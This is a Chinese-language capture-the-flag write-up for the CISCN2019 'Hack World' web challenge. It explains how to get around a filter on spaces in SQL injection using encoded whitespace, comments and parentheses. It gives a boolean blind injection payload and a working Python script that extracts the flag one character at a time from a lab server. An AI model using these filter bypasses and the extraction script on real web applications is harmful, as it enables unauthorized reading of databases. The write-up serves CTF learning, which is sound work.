[CISCN2019 华北赛区 Day2 Web1] Hack World

根据 1 和 2 返回结果的不同,可能是 bool 盲注, () 没有过滤,可以使用大部分函数,当时是卡在了空格的绕过
空格的绕过有这些方法我测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/ 或者直接 tab
%20 好像没法绕, %00 截断好像也影响 sql 语句的执行
或者用括号也可以。任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
本题中可以 if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)

贴上我写的 bool 盲注脚本

import requests

url = 'http://6cae50f1-0f30-4a8e-a02d-5f1565235a50.node3.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)